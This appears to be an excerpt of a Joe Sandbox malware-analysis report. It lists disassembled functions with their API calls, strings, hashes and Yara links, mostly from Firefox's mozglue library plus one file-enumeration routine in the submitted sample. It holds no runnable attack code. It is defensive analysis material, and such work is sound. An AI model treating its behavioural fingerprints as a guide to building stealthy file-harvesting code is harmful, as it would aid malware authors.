[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
GeckoMain, xrefs: 6C665554, 6C6655D5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
[I %d/%d] profiler_init, xrefs: 6C66564E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

SHA256, xrefs: 6C666EC0
wintrust.dll, xrefs: 6C6672CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
(, xrefs: 6C66768A

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

MOZ_CRASH(), xrefs: 6C693950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MALLOC_OPTIONS, xrefs: 6C6935FE
<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

nvdxgiwrap.dll, xrefs: 6C666513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
nvd3d9wrap.dll, xrefs: 6C666500
_etoured.dll, xrefs: 6C6664ED
detoured.dll, xrefs: 6C6664DA
user32.dll, xrefs: 6C666526

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 010038B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 010038CC
FindFirstFileA.KERNEL32(?,?), ref: 010038E3
lstrcat.KERNEL32(?,?), ref: 01003935
StrCmpCA.SHLWAPI(?,01010F70), ref: 01003947
StrCmpCA.SHLWAPI(?,01010F74), ref: 0100395D
FindNextFileA.KERNEL32(000000FF,?), ref: 01003C67
FindClose.KERNEL32(000000FF), ref: 01003C7C

Strings

%s\%s, xrefs: 01003A6F
%s\*, xrefs: 010038C0
%s\%s\%s, xrefs: 01003A4A
%s\%s, xrefs: 0100397A
%s%s, xrefs: 01003AAD

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: d7c5c4072fdd315831e87156172c0fd1912c807d9de8637c6a494867f9a30ad0
Instruction ID: 865b0d9273384744c9a4aabc7e369dbe5f9dc0e806c851d5714a07b7c3f52a41
Opcode Fuzzy Hash: d7c5c4072fdd315831e87156172c0fd1912c807d9de8637c6a494867f9a30ad0
Instruction Fuzzy Hash: 3BA13071A002099FDB35DB64DC89FEE7378BB58300F04459CA68D9B185EB759B84CF61

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED13
~qel, xrefs: 6C67ED10

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
